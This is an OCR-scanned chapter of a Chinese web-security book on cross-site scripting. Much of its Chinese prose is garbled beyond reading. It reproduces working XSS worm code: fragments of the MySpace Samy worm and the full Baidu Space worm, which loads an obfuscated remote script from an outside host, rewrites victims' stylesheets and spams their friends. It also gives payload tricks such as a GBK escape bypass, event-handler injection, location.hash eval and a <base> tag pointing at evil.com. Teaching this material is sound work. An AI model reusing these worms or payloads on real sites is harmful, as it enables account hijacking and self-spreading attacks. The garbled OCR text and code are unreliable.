1i£(C) {
return C
telse(
return eval ('document.body.inne'+'rHTML")

}

6 http://namb.la/popular/tech.html
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}

function main () {
var AN=getClientFID() ;
var BH='/index.cfm?fuseaction=user.viewProfile&friendID="+AN+"'&Mytoken="+L;
J=getXMLObj () ;
httpSend (BH, getHome, 'GET"') ;
xmlhttp2=getXMLOb] () ;
httpSend2 ('/index.cfm?fuseaction=invite.addfriend verify&friendID=11851658&
Mytoken=' +L,processxForm, 'GET"')
}

function processxForm/() {
if (xmlhttp2.readyState!=4) {
return

var AU=xmlhttp2.responseText;

var AQ=getHiddenParameter (AU, 'hashcode’) ;

var AR=getFromURL (AU, 'Mytoken') ;

var AS=new Array();

AS['hashcode']=AQ;

AS['friendID']='11851658";

AS['submit']='Add to Friends';

httpSend2 ('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken="'+AR,nothing,
'POST', paramsToString (AS))

}

function httpSend?2 (BH,BI,BJ, BK) {
if (!xmlhttp2) {
return false

}

eval ('"xmlhttp2.onr'+'eadystatechange=BI') ;
xmlhttp2.open (BJ,BH, true) ;

if (BJ=='POST") {
xmlhttp2.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded"') ;
xmlhttp2.setRequestHeader ('Content-Length',BK.length) }
xmlhttp2.send (BK) ;
return true

}"></DIV>

XSS Worm & XSS f)— B &AM HITT 30, ERIBIA T RSN ) /& B . HA2 AR XSS
Worm Hri A7 — & 41

— R, APZBERERZBATHWIE, WMRTFEFHEE XSS, NHWEES KE XSS
Worm Bk .

Fedn, KiEuEN s B S5 T, A0S XSS Worm IR K IX, FH38 & A OerT . AT
B, R —AN o R e SN AEE, e AN NGRS T, B 2 )
HENIhEE, FrUARIMEfEAE XSS, WASEEW T T XSS Worm [R4EHE .

3242 BHEZT[EMESR
FHXAS XSS Worm 2415k H 1 .
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2007 4F 12 H, BRI P ZARIARZ W IR RBIREHE R, JakEE TREITE S
BE T iX—IWiH:
hi.baidu.com

EE DT wer=n

Eﬁﬁﬁ

hi.Baidu.com

B, Bk
EmOEE Al | MARE | FE

BEEXE

T G RIBEGRER 0742261457

FEHHier

MBEIREAREREE, g, THRAE AT R0 CEEE SRERRE FE EHEZEREEAEEANTELL, WEN=aER
it AEREEEE (IRAEEACRTER A RFIRT) .

BRINEEEH, FNEEHTHABIZMULRER. BREESRBAz. RENZERTENRP, SCHTEEER. T RmmFitEse

LHR.

BEMELACHETERBOES. RNBETE, FARR T LSEMTRZZENE, FHESFZTRNAP SR ERRS b, T 27 Rt

fEE= A A,

[ERETEMEEAEHS HARGTEE, TrsESOONSaETe. nREnnTfimmanTam, FETNETemnre, RHTNERHES

%ﬂg?ggg;}@ﬁ@ﬁﬁ%ﬂﬁ AR TR AR AR E. MEEREENE, AR ETAMRENE (httpihi badu comisysishare) BT
—£3 o,

IEQQQIEUWEE‘;‘%%%EW%E. HEIRPEEMZEET T ES, FEEHRIFRAMAFEETHESAN. SNESEHTaRE. A TEE—0EE
oo

%gf@Elﬁt:lﬁ'ﬂ‘]Bﬁﬁﬁi%?éﬁ?%%—%ﬁ?ﬂbgﬂﬂ@bﬁﬁ%ﬁ, FiNZEEAHed . RISHFEETENRR tHel 18— ENEEN=2M
ESil

UPDATE: #2131 THRIMAFERAT E20bE, mRiTMEEE!
RN—EZAOTAC wHedTiE=2. 2E. BRMMLER, SEEEDab R

MR AN AT R RIREHA:

& SHEME
B PEE [ S RAE P R ) (81
CHAFHETES

BETEA £
T LS R ) XSS s e /4

KR, JE 1 XSS Worm ¥ A FTEER GEHE e 2 2 A it i) (1) J5 /N, 3 A 13X A
Ul AL ARG, AAE SO TS F)

ﬁgiﬁﬁﬁmmkﬂ BARRBL, EARA EEH

HERARR, 1;75)‘59"/1\?"/75‘%71:4‘1’ %i’fﬂl"‘/l\ﬁﬁ%ﬁf\'ﬁ’ ( L& #9 Playload 3
2 )o EAKF BRI T AL IE AP, STHER P AFh; FIRHRZZAETAR
W HAEE, BAREE CSS P ImRAFRAAFT AR RIS, "R— 082 R & F. AT
VA, TATAKE R AL, B4\ ARFE T blog, A7 CSS #9377 A 7T VA, Z4m Profile.

7 INLE R K6 — SRR AR A B T —A4F, RARAFER, REBEAFALEE
Nﬂ%%kﬁ%ﬁﬁﬁa%m%, I JF) 4645 s T AR X%,

B T AN AEERATEHLE B3k Kbt dE, BRATHREIKR, BALEE K

f&%"i, ii’]‘"%'-,w}é%m"/\blogo

7 http://security.ctocio.com.cn/securitycomment/57/7792057.shtml
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%) Baidu #4{8f, IARFELERAET 8700 A blog, BARRIETRH, AkAAlE
ATXB—AHAL, REERRIRRT . TAFE, ERBFARZZENTIRS ZAK
AR, A TIREE,

XN XSS Worm [ AL l F :

window.onerror = killErrors;

execScript (unescape ('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D
%$20%22%22%0A%20%20%20%20F0r%20aaaa%20%3D%201%20T0%20Len%28vstrIn%29%0A%20%20%20%20%20
%$20%20%20ThisChr%20%3D%20Mid%28vStrIin%2Caaaa%2C1l%29%0A%20%20%20%20%20%20%20%20I£%20Ab
$%28Asc%28ThisChr%29%29%20%3C%20%26HFF%$20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20s
trReturn%$20%3D%20strReturn%20%26%20ThisChr$0A%20%20%20%20%20%20%20%20E1se%0A%20%20%20
%$20%20%20%20%20%20%20%20%20innerCode%$20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20
%$20%20%20%20%20I1£%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20
%$20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20
%$20%20%20End%20I1£%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%2
0%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20
innerCode%$20And%20%26HFF%$0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strR
eturn%20%26%20%22%25%22%20%26%20Hex%$28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Lo
w8%29%0A%20%20%20%20%20%20%20%20End%20I£%0A%20%20%20%20Next$0A%20%20%20%20URLEncoding
$20%3D%20strReturn%0AENd%20Function'), 'VBScript"') ;

cookie="";

cookieval=document.cookie;

spaceid=spaceurl;

myhibaidu="http://hi.baidu.com"+spaceid;

xmlhttp=poster () ;

debug=0;

online () ;

if (spaceid!="'/") {

if (debug==1) {

goteditcss () ;
document.cookie="xssshell/owned/you!"';
}

if (cookieval.indexOf ('xssshell')==-1) {
goteditcss () ;
document.cookie="xssshell/owned/you!"';
}

}

function makeevilcss (spaceid,editurl, use) {
playload="a{evilmask:ex/*exp/**/ression*/pression (execScript (unescape ('d%253D%2522doc
%$2522%252B%2522ument%$2522%253B%250D%250A1%253D%2522function%$252010ad%2528%2529%257Bva
r%$2520x%253D%2522%252Bd%252B%2522 .createElement$2528%2527SCRIPT%$2527%2529%253Bx.src%2
53D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%$253Dtrue%253B%2522%252Bd
$252B%2522 .getElementsByTagName$2528%2527HEADS$2527%2529%255B0%255D. appendChi1d%2528x%
2529%257D%253Bfunction%$2520inject%2528%2529%257Bwindow. setTimeout$2528%252710ad%2528%
2529%2527%252C1000%2529%257D%253B1£%$2528window.x%2521%253D1%2529%257Bwindow.x%$253D1%2
53Binject%2528%2529%257D%253B%2522%250D%250AexecScript%25281%2529"'))) }";
action=myhibaidu+"/commit";

spCssUse=use;

s=getmydata (editurl) ;

re
ct

/\<input type=\"hidden\" id=\"ct\" name=\"ct\" value=\"(.*?)\"/i;
s.match (re) ;
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ct=(ct[1]);

re /\<input type=\"hidden\" id=\"cm\" name=\"cm\" value=\"(.*?)\"/i;
cm s.match (re) ;
cm=(cm[1l])/1+1;

re = /\<input type=\"hidden\" id=\"spCssID\" name=\"spCssID\" value=\"(.*?)\"/i;
spCssID = s.match(re);
spCssID=(spCssID[1]) ;

spRefUrl=editurl;

re = /\<textarea (.*?)\>(["\x00]*?)\<\/textarea\>/1i;
spCssText = s.match(re);

spCssText=spCssText[2];

spCssText=URLEncoding (spCssText) ;

if (spCssText.indexOf ('evilmask') !==-1) {
return 1;

}

else spCssText=spCssText+"\r\n\r\n"+playload;

re = /\<input name=\"spCssName\" (.*?)value=\"(.*?)\">/i;
spCssName = s.match(re);
spCssName=spCssName [2];

re = /\<input name=\"spCssTag\" (.*?)value=\"(.*?2)\">/1i;
spCssTag = s.match(re);
spCssTag=spCssTag[2];

postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+UR
LEncoding (spRefUrl) +" &spRefURL="+URLEncoding (spRefUrl) +" &cm="+cm+" &spCssID="+spCssID+
"&spCssText="+spCssText+"&spCssName="+URLEncoding (spCssName) +" &spCssTag="+URLEncoding
(spCssTagqg) ;

result=postmydata (action,postdata);

sendfriendmsg () ;

count () ;

hack();

}

function goteditcss () {

src="http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0";

s=getmydata (src) ;

re = /\<link rel=\"stylesheet\" type=\"text\/css\"

href=\"(.*?)\/css\/item\/ (.*?2)\.css\">/i;

r = s.match(re);

nowuse=r[2];

makeevilcss (spaceid, "http://hi.baidu.com"+spaceid+"/modify/spcss/"+nowuse+".css/edit"
1)

return 0;

}

function poster () {

var request = false;

if (window.XMLHttpRequest) {

request = new XMLHttpRequest () ;

if (request.overrideMimeType) {
request.overrideMimeType ('text/xml") ;

}
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} else if (window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP',
'"Msxml2.XMLHTTP.7.0', '"Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'"MSXML2 .XMLHTTP.3.0', 'MSXMLZ2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject (versions[i]);

} catch(e) {}

}

}

return request;

}

function postmydata (action,data) {
xmlhttp.open ("POST", action, false);
xmlhttp.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded') ;
xmlhttp.send(data) ;
return xmlhttp.responseText;

}

function getmydata (action) {
xmlhttp.open ("GET", action, false);
xmlhttp.send() ;

return xmlhttp.responseText;

}

function killErrors () {
return true;

}

function count () {

a=new Image ()
a.src='http://img.users.51.1a/1563171.asp';
return 0;

}

function online () {

online=new Image () ;
online.src='http://img.users.51.1a/1563833.asp ';
return 0;

}

function hack () {
return 0;

}

function sendfriendmsg () {

myfurl=myhibaidu+"/friends";

s=getmydata (myfurl) ;

evilmsg="M, F7HPRIRGF I MFURAL2008, CoALELF, 1032 AT !
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibai
du;

var D=function (A,B) {A[A.length]=B;};
re = /(.+)D\ (K\,\N[(["\]11+2)\1\) (.*)/g;
friends = s.match(re);

eval (friends[0]) ;

for (i in k) {

eval ('msgimg'+i+'=new Image();");
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eval ('msgimg'+i+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=pmSubmit&sn="+URLE
ncoding (k[1i] [2]) +"&co="+URLEncoding (evilmsg) +"&vcodeinput=";") ;

}

}

JE ARSI T — MMEARRRE ARSI R C 28 TT00 57wt dL T

function onlinemsg () {

doit=Math.floor (Math.random() * (600 + 1));

if (doit>500) {

evilonlinemsg="MM, EICFEA, A KIEEEEIE 2\ e \n\r \n\ e \nF A H b2 "+myhibaidu;

xmlDoc=new ActiveXObject ("Microsoft.XMLDOM") ;

xmlDoc.async=false;

xmlDoc.load ("http://hi.baidu.com/sys/file/moreonline.xml") ;

online=xmlDoc.documentElement;

users=online.getElementsByTagName ("id") ;

x=Math.floor (Math.random() * (200 + 1));

eval ('msgimg'+x+'=new Image();"');

eval ('msgimg'+x+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmité&sn=
"+URLEncoding (users[x].text) +"&co="+URLEncoding (evilonlinemsg) +"&vcodeinput=";");

}

}

Wit AT XSS MIRFHRIRA S 1, 1 XSS Worm W RERSHELIX PR TC RS K, 1X

TS R TR A AR 1 HL 0 PR 4

JCiR A& MySpace i H, I8 A2 P RE 2 [R) FRDIGE HL, A SR IReE L, e T LR AR COBAE 7,
A BAETE AR . B0 IE WA e e, 2 ISR JE 75 TG B Mgy JOH - 85dis L B U3 1 <%
RO X OIS T I IR AT, AR B

3.2.5 ik JavaScript

B T XSS Payload, 7 24 1R U7 JavaScript ZhJis, iR JavaScript & AN A /D I fg
FERXHL, WA A H LA AR JavaScript i L H,  PLEAHBhINAA R T H.

Firebug

Xt AR T, A CREIT 55 Web Hacking 0645, #EMi ok« Jm ST I i 1=
)7,

Firebug AEH 50K, B4 JLANHIR, R LA BT 1) DOM 5 i

W< =] | pae mm css Cpone | M Cootier Events 2
+ FP Object { __HOST=, __APP_NENBERS=, more..}
# FlashStorage Object { hasInit=falsel
+ KISSY Object { _ | MEMBEES=, more.. }
+ Mpp obsect { -, Comtie=L ..}, more. }
# TB Object { ...L  more.. }
+ TBAD Object { et=[.__1, more..}
+ __content_results Lo =300, G BrefM v eta. TN 100040 30" ¢far 1, Obiect |
content="t tp: //iugtl. tnchaocin. . SENIEIRERKE 490170 png”, more.. 1. Object | 1a-43,
ontent="http: f/img01. tacbaccdn. - hynxx:x:xx: 490-170.pne”, more... 1, 34mnr: 1
_ta_rndid_0.5899701190944049
_ta_rndid_0.6853126709113928

_tb_acookie_loaded
_tb_beacon_loaded

Firebug [ 5+
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X JavaScript:

P [E=EEO)
[T

FahfrEEA.
+ this Object { debue=falsze, path="/t
facookie/", more.. }
1 “ena”
toString function(}
+ Closure Scope Closure Scope { h=1
F [object Window] Window acbeacons. twl

accdn. com/tps/i2/T1b]
r. taobao. com/faricon. i
=http: /e tacbao. o
Jwmg. tacbao. comf favi

{E Firebug "R JavaScript

1% HTML 5 CSS:

o —— ]
R o= | wus v )oss 2ox_Pthcoories Events » | @ Bt
[l | 4B 1body hinl B~ | SESOEL  HH  DOX  Events
©/P0CTIEE RIS boar | wew tacbuo. con (5 21 #)

= <htnl> font-fanily: arial

 head> 1

g _ bodr { 201107, 018, css (% 1 4)

@ <dir i iv_5335_50330_main” strles't ien: left | important: margin-left: ipa: padding: 0pz ! important fomt: 12pm/1.5 "Tahoma’,” simsun ;

bordey: Opz mome; overflow hidden; width: 0pz; height: Dpz; position: absalute; left: Opr; fep: 0pz; 1-indez: 2147483847

visibility: hidden:®>

[ <div 18=*iCast2_container_div_23%_20390_float” style="tert-align: left | importent: margin-left: 0pz; padding: Opz | important vodr | 2011a?... 018 css (% 1 )
border: Opz none; overflow hidden: width: 100pz: height: 100px; position: absolute: left: 11B6ps: top: 25px: z-index: 1 linecheight: 11
visibilits: visible;"> 1
® <Aiv tlass="ks-suggest-container” stple="pasition: absolute: visibility: hidden;™> hinl, bods. div, span, obiect, 2011a?...012.ess (§ 1 #7)
@ {iframe framebovdes="0" strle="width: Opz; height: Upz; border-width: Opz; displar: iframe, hi, h2, h3, k4, kS, M, D
none: * marginwidth="0" marginheight="0" sre="http://cdn tanz. com/t/acookie/acbescon2 html "> blockquote, pre, a, abby, address,
@ <script type=“tert/javaseript’> cite, code, del, dfn, em, ime, ins,
. Kbd, 4 sanp, small, stzong, sub,
. . L ddl ol

1t Firebug "' HTML 5 CSS

& 5E, Firebug /& JavaScript TR EE — R8s W B UiER A, HHLERR T Firefox 4b,
X HAth 3 8 25 1R SRR AN

IE 8 Developer Tools

ETE8 ', NP A#HWE T — JavaScript Debugger, 1] LLZhA X JavaScript.

» AE—TF . fFimiE - 7 TH
THE SHM FEQ STW RK0 BRO SF0 IO RBE® | JSSES: mE THEDW: I FHE

L |css |ps | e [F= |
&=

5 [l s #A Bt oR [mE

et == doCtype Btml — Bt & e [div
E-<htuls & EIE ‘ | &
£ <head> 2
id n

Lctitle> BT, WREEEC titler
{-<meta http-squiv="Content-Type" content="text/htul;charset=gbZ3lz" />
f<otylesCss AR otyles

El-<body onunload="">

Ldiw 1d=""

[E-<a name="tj_setting” href="hutp://www.baidu. com/ga0)i/preferences.htal >

E - EERET

<p id="lw"/>
<>

-<p id="1h">
B-<p id="cp">
-<scriptevar

wrindow, d=document, n=navigator, k=d. f.wd, a=
ttp: / /i, baidu, com/js /bdsug_sugtest. jsev=l.0.3
ttp: / /waw, baidu. com/cache /hps/is/hps-1. 1.1,
display: nene; behavior: wrl{fdefault#homepage);"/>
<lm- S1Q005edbdzafEd ——>

. getElenentByld| V") . getk!
0"></scripee
types"text/javascript’

IE 8 [MJF k& T HS
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TET EA 1B 1 A HoAth mT FH ¥ JavaScript Debugger i, 1E 8 Developer Tools & AN

Fiddler

Fiddler® i —AMAHBARIIAR 5545, 75 L0 P U0 245 8 8 0 1 A M AR B R 55 L9 4 mT A S
Fiddler 2% 4% FTAT KD VAR K, IFAT BEJT AL SE & 05 R 4l A Kol «

Fiddler 3 IA e, — N9 Fiddler A A% Bh T 22 40K

Fiddier - HTTP Debugging Praxy

Wb Sessioa £rs on = Tesken 3] Galery [ e
' Remit
CTE
1 om
Bl: =m0 e
5 ET /sanchon‘sample g HTTF/1.1
B4 00w = Cache -
25 W0 WIS wmmoesh Peasms: fo-Late -
gi z ",'_r:' ek o0 esponse | DS BRGNS | oo Aescorce. .“
D om0 e Textihem | Sytiview | buscitw | Hedhew | boh | Codwp | Py | R | WL
%- o [Raw] [Header O
i Wy peader Lditor [17 chars]
Mu e
My e W Mame: ContentType
e wo e Wakiet | soplcaton,
S5 00w voared
Br - ww

Last-oddfed: Tha, 23 Aug 2007 273

= Micellaness
Server: Maosef{5/6.0
= Tramsport

Correeton: o

e . (o ] [T |
£ 3
Ef Coprrg 8 Web Bromsers 1/ 16 it & Aeguest 15:17:48, 4463

Fiddler [#) A1

HttpWatch

HttpWatch 52—V, & LU A HfE 3 B 2 o

=181x|
& ]
Strted = [ o] Sont[ Receved [ vethod Tpe I 5|
+2.545 3.635 469 345 GET -]
+2.550 18.052 411 47028 GET % hittp:ffsh.ra.icast.cnfcr(2011/10{30390/13947 icast_taobao.js
+2.701 0.391 as7 852 GET % q_jmmy
+2.734 0.353 885 668 GET % jin |_18t...
+2.748 0.035 0 0 GET % hitp:ffa.tbedn.cnjpfheader fwebww-min. jst=20110629.js
+2,840 0.017 0 0 GET % http:/fa.tbedn.cnjpftiabs/1.0,0/tabs-min. js?t=1.0.0.js
+2.961 0.029 0 GET £
+3041 1 5.331 381 36019 GET | ] .png
+3.206 0415 903 904 GET % taob: 2_L k_link_742768
+3.207 3.680 347 GET B
+3.210 0399 847 247 GET hitp:{fmegatron.labs.taobao. com/servicesPnick=wha_jimmy
+3.233 0.357 379 2108 GET -] hitg 1.taobaocdh prg.
+3.233 0.326 379 853 GET -] ftpsfiz/T1 prg.
+3.234 - 379 1452 GET -] ftps/i4fT1_ prg.
+3.235 2534 379 2052 GET s http:/fimg01 .tacbaocd prg.
+3.238 0.367 8 613 GET = ht anel. 1.2
+3.239 2,444 381 509 GET - i .png
+3.384 5.757 380 7146 GET | ] http://img01 taobaocdr .png
+3.656 5.069 380 8626 GET hittp: i *aobaocdr .png
+3.772 2420 380 7585 GET -] Png
+5442 1 2752 380 7490 GET a png.
oo L o 1 WEpi 1o kast b2
+20.649 1 1.193 431 11747 GET F http:ffsh.ra.icast.cnjcr/2011/10/30390/13947/2.swf
+22.460 - 431 0 GET http:jfsh.ra.icast.cnjcr/2011/10/30390/13947/1.swf
vzzaez 1 2w d=amssead ¥ ||
24.473 25545 TaRde sareauests o
Overview | Tine Chart. Headers | Coskies | Cache | Query String| FOST Data | Content | Stram | ! Harnings @) |
[ Headers sent_» [ vabe Headers Received = [ Vabe I
(Request-Line) GET jalimama.php?calback=g_ecpm_calbackiimmm_12852562_1778064_8430810,mm_12852562_1776064 || (Status-Line) HTTP/1.1200 OK
Accept o Cache-Control no-cache
Aeceptencodng oo, defloe Connecton Gose
hecspt-Lanquage v ContentErcodng 52
Conmestion cepaive Content. isie
Cookie: cna=/wiYBRnbNhkCAeodAHMMOBXK Content-Type applicationjx-javascript; charset=GB2312
Host almama.com ied, 02 Nov 2011 13:26:39 GHT
Referer hittp:fwwn.taobao.com/ Expires. ‘Wed, 02 Nov 2011 13:36:39 GMT
User-Agent. Mozillaj4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2||| Pragma no-cache
Server ‘Apache/2.2.11 (Taobao-AD)
‘Set-Cookie p_d=r:1; expires=Thu, 03-Nov-2011 13:26:39 GMT; path=; domain=akmama,com
Vary Accept-Encoding
4 | >
58 e [Frofessionsl Edition

HttpWatch [#) ¢ [fii

8 http://www.fiddler2.com/fiddler2/
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HttpWatch 1 B8 % 5 42 Jr A7 1)) B8 28 15 5K, A H AR Wk & HTTPS I 2%l H . H
HttpWatch A8 X JavaScript, EANAE AN ELER KT Web 1) “Sniffer”.

X SR TR, fE40'5 XSS Payload 570 il e 2% 22 4, &3Fohfs.

3.2.6 XSS #iE#I15

B ST SR T XSS B R, (HARAESCBRH BT, XSS A I 25 LhA R 2
ARTERGA L L0 WL XSS Braitsg ¥y, it W slifE it 2 4 5 eI il ZE Bty

3.2.6.1 FEFZFFHRL

IR e I NRRER) XSS il AR D <scriptARZE TN TR
B, TG

var redirectUrl="\";alert(/XSS/);";

ROV, XHUEBAA XSS I, PUARAL TGS Z N, R TGS 35

AR ETCE “escape”s

2, HEERRMIIE 2 GBK/GB2312 #ifidif, it “%cl\” XA R4l &7 il )q,
Z3 1% — Unicode “F-fF. 1F Firefox T\ RIXIE—AFRF, Frlfgis.

%cl";alert (/XSS/);//
IFHEAL:

Request | Respense Trap |

GET httpiicang.haidu comidafadd Pit=xss Riu=%c 1", alert{2),1&fr=sp HTTFM 1

Host cang baidu.com

User-Agent: Mozillais.0 (vindows; U Windows NT 5.1, zh-CN; red 8.1.15) Geckor20080623 Firefo2 0015
Accept: texdiml, applicationfxml applicationfichtrm+zml texdihtml;g=0.8 textiplain,g=0.8,image/png,**g=0.5
AcceptLanguage: zh-cn zh;g=0.5

Accept-Charset: gh2312,ut-8,0=0.7 *0=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Cookie: BDSTAT=b1498e5hd891M4a32c4dfd76d41 3ee8f26d004 e 7 di0fF 26bbe 37931 0855dd63, BOUSS=3

RS I EE
7E Firefox T340 T30 :

</style>

<{script sre="/-/js/base. js?v=1.1"3<{/script>
<{script sre="/-/js/checkform js¥v=1.1"><{/script>
{seript sre="/-/js/sugzest. jsv=1.1"><{/script>
{seript src="/-/js/itemadd. js¥v=1.2"><{/script>
<{script language=" javascript >

=

var redirectUrl="®";alert(2).//";

var s_t ags=”5ﬁﬁj\?§”;

var sl_tags=""

var a_tags = [] 2

1t Firefox T %5
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XA TFAT: “%cI\” BT —NBrK) Unicode 74F, “%cl” JEE A5 “\” 45 “Hafi 17,
Mgl T RG22 ek A, WISt T XSS Bifio

3.2.6.2 #RIFKERE
IRZ W%, 742 XSS HIHb 7 2 AR S K R, XA R T B A2 IR 25 s ity 12 0 34 e P o
TR N AR AEAE— A XSS Yl :

<input type=text value="S$var" />
Ik 55 g i 2 SRR A R AR Svar” BT AR IO E R, I8 Brh AT g s IX ARG XSS
SvarN: "><script>alert (/xss/)</script>
A Ik B BOR A
<input type=text value=""><script>alert (/xss/)</script>" />
A BE BRI 20 A1, X B XSS £ 4k U1 2«
Svar Hithl: "><script> alert (/xss
HE AN SERE ) PR A RS 58, XSS B AT RETCVE T o TRULIN, AN T G T ?
BHRRTIEM.
Yk nl AR FE (Event) K46 T FT 75 B0 7~ 15 4L
Svar it N: "onclick=alert (1)//
I EZAE, W% 20 A7, Sehrfitt A
<input type=text value="" onclick=alert(l)//"/>

I R T SCRKES, alert(VREAAT -
|

#*H http:ffwww_ a com [FINHEIN: ll

1
N\

sy

BEA YT

BRI SR BE 4RI 7 SO AT RN . R UF I F MR XSS Payload 5 FJIAL, T
W T 7 A ARAS I 280X B XSS Payload.

e I “ACHS” (R T, Fh “location.hash”. 1 HARYE HTTP #4i, location.hash
I AL HTTP WA ki%, FrblUikgs 25 Web H G IEA S 3 T location.hash HLAI Y
7%, M A Bk T B R SR =



78 AR T Web %4

Svar Hithl: " onclick="eval (location.hash.substr (1))

A 40 Y. WS R HTML A2

"

<input type="text" value="" onclick="eval (location.hash.substr (1)) " />

74 location.hash 55— FAFE # 5 PJrRABLIAEEREE — D TAREA AT B IE ) XSS
URL 4:

http://www.a.com/test.html#alert (1)

H 7 A SCAKER), location.hash B FRACASHAT T -

location.hash B f{) A B $0U4T

location.hash A< Bp AT LR, (23 A8 A HEAS 2 A BRI, AR KE S
20 iy AR 1) XSS Payload T o ZLZMHER K EEBANIE ], 36T LAFAE ATIN G 75 TS (175
%, KEELZIR,

FEREIRIET, AT LA RS KRR

i BT REFE TP AS SCAME, 25 AN SCARME RS N EZ 19717 B AT UM A HTML
) “HERAT S, AU SCARHEZ M) HTML AURS 4B s, AT “4T38” P/ <input>
PREE

<input id=1 type="text" value="" />
XXXKXXXXXKXKKXX
<input id=2 type="text" value="" />

EE— input HEH, A

"> ==

TES A input HEH, HA:

--><script>alert (/xss/) ;</script>

= 2
I 2R
<input id=1 type="text" value=""><!--" />
XXXXXXXXXXXXXXXXX
<input id=2 type="text" value="--><script>alert (/xss/);</script>" />

e A RS 42 A

<I-= L=
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R T REBRATT

@ x&u; BEE BEW) HRE BEED LAD AW

|”1 @ @O @ U u{' L 4 { [ http:ffwww. 2. comftest, himl

+ | L | Billy (BE) Riose:= | |

HH http:ffwwr. a_com FINHEIK: ﬂ

[ BN fxss/
ey

R AR AT
MAESR—A input AEH, JUFH 2] TR 6 N7y !
3.2.6.3 {FH<base>fr&E

<base>bR2E I ANH T, & RIS 2 SO BRI PTA A “ AR 812”7 ARZE ) hosting
k.

Eeln, TTT— SRAEAE R &
<body>

<img src="/intl/en ALL/images/srpr/logolw.png" />
</body>

S O gogode

1 Google JIE-- | | | Billy (K) -- | € Aop

AR DL i

XK B sBr L2 Google F—35K K A, TRk

http://www.google.com/intl/en ALL/images/srpr/logolw.png

TE<img>hr28 i A — A <base>r %

<body>

<base href="http://www.google.com" />

<img src="/intl/en ALL/images/srpr/logolw.png" />
</body>

<base>FrZKG ¥5 2 H G FIbR S ERA M “http://www.google.com” B URL:
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—— — — —
S ERGE REE EEW FEE TAD IAD FBE
- @@ D(:) @{‘) L [ http://www. o con/test. htnl

@'

[/ Google %=~ | | | Billy (BK) -

Go )gle

KT ksl 7o

i LR ANE R, EARERSR T, $E8<base>braE L BEM T<head>Fr2E 2 N, HisK
KA o <base>hr2 ] UL BLE U AR 7, IR T Tbn 282 5 T AR % .

Hrti o WU R AE DU PR T <base>bn%s, it n] DUB AR AR R 55 & L O IR R RE B
A, HFE AR R PR CARRT AR RhRSE . el

<base href="http://www.evil.com" />
:écript src="x.js" ></script>
:img src="y.jpg" />
za href="auth.do" >auth</a>
JITEMERE XSS 22477 I, — 5 S e XA A RS A hRAE
3.2.6.4 window.name A%

window.name X % —MRAAFF AR PE . X 2 & 1 1) window.name X R ME, BARFIA
TR K24 window X G 3 W 2% 1 &4, 1 F9E document X§ 4, AR 2 W% window
XA [N IR BRI . BOh & IR AN G, W DASEEE s 35 DORAL I A . AR Le R
B, XM AR AR R AT

ST EW. Rk “www.a.com/test.html” [FIACHE A

<body>

<script>

window.name = "test";

alert (document.domain+" "+window.name) ;
window.location = "http://www.b.com/testl.html";
</script>

</body>

XA KS window.name TRAEL Y test, 2R 27 4 AT F window.name [ME, e vLifl
BkEE R “www.b.com/test] .html”.

“www.b.com/test].html” [KfCAE K
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<body>

<script>

alert (document.domain+" "+window.name) ;
</script>

</body>

X EIRT MEEA window.name FIME. AT, Uikl “www.a.com/test.html”:

ni [} http:/fwww. a comftest html

2 H¥H http:/fxww_ a con [N HAEIR: |

1. WHW. A, COm tast
Fla ".I
| S

DK T i

window.name WA R, AR5 DU B 308k 2] “www.b.com/test].html”:

l |_| http: /fwww. b comftestl html

& #*H bttp:ffwwx. b. com HIM HIR: il

18 www. b, com test

.".'.I

b/ k7 W)
XA R S EEHE s AR i . “test” IXAME M www.a.com 1% 3] www.b.com.

i ] window.name 1] LL4fi%i XSS Payload K, W1 FFin:

<script>

window.name = "alert (document.cookie)";

locaton.href = "http://www.xssedsite.com/xssed.php";
</script>

FETF]— B T IT XSS st s )i, Hqilid XSS AT LU AR RIA]

eval (name) ;
AT 1AM, 3 TRl
XA R A luoluo FTRIL, RN AbIEHEHE T 1R 2 Zeid XSS KB BR A 15157

9 (R XSS FRFAE R HIHATTR IS AR5) : http://secinn.appspot.com/pstzine/read?issue=3&articleid=4
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3.2.7 ZEE A= : Mission Impossible

M\ XSS iR A R, AAAERY XSS X B & 1 AL EE S S Y XSS Bk, Kk 74k
M XSS AEF U ) IE % URL W< Bahfilk; a8 XSS g i—/NME® A URL, —E
SR XSS URL AEgh H - sy, JoleHr$dm T BRI .

AR XSS ik, MR detiac, J&T “X8h” Jeii. EBEH KR,
HAN G AN A TIEFR R XSS i, A NSRS TR 5.

3.2.7.1 Apache Expect Header XSS

“ Apache Expect Header XSS” Jilil s 5 A A1 1~ 2006 4F o 3X Ml ¥ — FE R IA A 22 Tov2 A H
(K1, BrEAT REANACA I NI o XN RS2 NS 7 .- Apache Hittpd Server A 1.3.34,
2.0.57 2.2.1 RUAUF o iR R T .

I i 55 A AL «

